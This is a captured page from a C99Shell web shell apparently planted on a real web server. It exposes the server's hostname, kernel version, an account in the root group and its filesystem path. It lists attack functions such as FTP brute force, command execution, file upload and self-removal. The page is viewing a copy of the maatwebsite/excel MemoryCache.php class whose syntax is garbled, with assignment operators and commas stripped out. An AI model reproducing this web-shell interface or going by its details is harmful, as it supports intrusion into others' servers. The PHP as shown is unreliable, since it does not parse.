!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/maatwebsite/excel/src/Cache/   drwxr-xr-x
Free 28.68 GB of 117.98 GB (24.31%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MemoryCache.php (2.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Maatwebsite\Excel\Cache;

use 
Psr\SimpleCache\CacheInterface;

class 
MemoryCache implements CacheInterface
{
    
/**
     * @var int|null
     */
    
protected $memoryLimit;

    
/**
     * @var array
     */
    
protected $cache = [];

    
/**
     * @param  int|null  $memoryLimit
     */
    
public function __construct(int $memoryLimit null)
    {
        
$this->memoryLimit $memoryLimit;
    }

    
/**
     * {@inheritdoc}
     */
    
public function clear(): bool
    
{
        
$this->cache = [];

        return 
true;
    }

    
/**
     * {@inheritdoc}
     */
    
public function delete(string $key): bool
    
{
        unset(
$this->cache[$key]);

        return 
true;
    }

    
/**
     * {@inheritdoc}
     */
    
public function deleteMultiple($keys): bool
    
{
        foreach (
$keys as $key) {
            
$this->delete($key);
        }

        return 
true;
    }

    
/**
     * {@inheritdoc}
     */
    
public function get(string $keymixed $default null): mixed
    
{
        if (
$this->has($key)) {
            return 
$this->cache[$key];
        }

        return 
$default;
    }

    
/**
     * {@inheritdoc}
     */
    
public function getMultiple(iterable $keysmixed $default null): iterable
    
{
        
$results = [];
        foreach (
$keys as $key) {
            
$results[$key] = $this->get($key$default);
        }

        return 
$results;
    }

    
/**
     * {@inheritdoc}
     */
    
public function has($key): bool
    
{
        return isset(
$this->cache[$key]);
    }

    
/**
     * {@inheritdoc}
     */
    
public function set(string $keymixed $valuenull|int|\DateInterval $ttl null): bool
    
{
        
$this->cache[$key] = $value;

        return 
true;
    }

    
/**
     * {@inheritdoc}
     */
    
public function setMultiple($values$ttl null): bool
    
{
        foreach (
$values as $key => $value) {
            
$this->set($key$value);
        }

        return 
true;
    }

    
/**
     * @return bool
     */
    
public function reachedMemoryLimit(): bool
    
{
        
// When no limit is given, we'll never reach any limit.
        
if (null === $this->memoryLimit) {
            return 
false;
        }

        return 
count($this->cache) >= $this->memoryLimit;
    }

    
/**
     * @return array
     */
    
public function flush(): array
    {
        
$memory $this->cache;

        
$this->clear();

        return 
$memory;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--